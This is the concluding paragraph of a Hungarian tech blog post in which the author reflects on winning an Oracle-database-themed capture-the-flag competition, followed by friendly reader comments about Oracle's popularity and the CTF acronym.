És így zártam első helyen a végén a tabellán, bár ha nincs K, biztosan hamarabb feladom az egészet. Az event alatt nagyon sokat tanultam tőle és OracleDB fronton is gyakorlatilag a nulláról szerintem egész sok tapasztalattal gazdagodtam. Nagyon tetszett, hogy rengeteg honeypottal van megtűzdelve a feladat és úgy kell felfedezni, hogy mi a ténylegesen támadható felület. Ötletesek voltak a hintek és láthatóan tényleg sok munka lehetett a háttérben az egész mögött. Nyilván lehetett volna nehezebb, binary exploitinggal megtűzdelt, de a célközönség skillsetjének szerintem remekül megfeleltek a kihívások. Az pedig különösen érdekes volt, hogy olyan egzotikumot is hoztak, mint az oracledb.

Köszönöm, hogy elolvastad!

Hozzászólások

(#1) Lenry


Lenry
nagyúr
LOGOUT blog

még úgy is érdekes volt olvasni, hogy épp csak annyit konyítok a témához, hogy értsem miről írsz, de nyilván az első másodpercben elakadnék :D

Gvella Glan! | There are two types of people: Those who can extrapolate from incomplete data

(#2) UnA


UnA
Korrektor

Azért azt nem gondoltam volna, hogy az Oracle egyszer egzotikus adatbázis-kezelőnek fog számítani, pedig mai napig a három legelterjedtebb vállalati DB között van (oracle, db2, mssql) :)

(#3) Oldman2


Oldman2
veterán

Grat!
:R

(#4) Mr Dini válasza Lenry (#1) üzenetére


Mr Dini
addikt

Én is elég kezdő vagyok a témában, csodálom, hogy ezt sikerült összehozni. :B De inkább a szerencse és a kitartás segített, mintsem a tapasztalat.

De jó hallani, hogy valaki érdekesnek találta, köszi a visszajelzést! :R

@Una

Nem igazán objektív az írás, számomra pedig az oracledb teljesen új volt, mivel adatbázisokat főleg hobbiból / open-source projektek keretében szoktam használni, így főként a postgresql, régen mysql, mongo és riak-kal szoktam foglalkozni. A felsorolt enterprise db-kből egyedül az MSSQL-lel volt dolgom.

Egyébként az Oracle brutál gyors db-nek tűnik, de első benyomásra nagyon más volt az SQL syntax a hivataloshoz képest, jó sok utánajárást igényelt.

Viszont a cikkben azért említem egzotikumként, mivel én még olyan CTF-fel nem találkoztam volna, ahol Oracle DB-t kellett volna támadni. A legtöbb mind mysql. Gondolom ennek az az oka, hogy a CTF hosztok nem teljesen ingyen működnek, az Oracle pedig tudtommal csak non-commercial usera adja ingyen a db-t. Ezért volt különleges számomra, mert ha nincs ez a CTF, valószínűleg soha nem találkozom a jelenséggel. :)

[ Szerkesztve ]

Sose köss bele az antikvitásba!

(#5) oriic


oriic
HÁZIGAZDA

Amikor kis naívan rákattintasz a bejegyzésre, mert azt hiszed, hogy valakinek volt egy remek Capture the Flag élménye valamelyik régebbi FPS-ben. :DDD

Live-Die-Respawn

(#6) UnA válasza oriic (#5) üzenetére


UnA
Korrektor

Nekem akkor egyszerűbb dolgom volt, mert azóta sem néztem meg, hogy miért CTF ;]

(#7) Lenry válasza oriic (#5) üzenetére


Lenry
nagyúr
LOGOUT blog

pedig itt is ugyanazt rövidíti ;)

Gvella Glan! | There are two types of people: Those who can extrapolate from incomplete data

(#8) Savageboy


Savageboy
aktív tag

Cím alapján először én is mást vártam volna ;] , de így is jó volt olvasni, érdekes volt végigkövetni a kivitelezés gondolatmenetét. :R

[ Szerkesztve ]

További hozzászólások megtekintése...
Copyright © 2000-2022 PROHARDVER Informatikai Kft.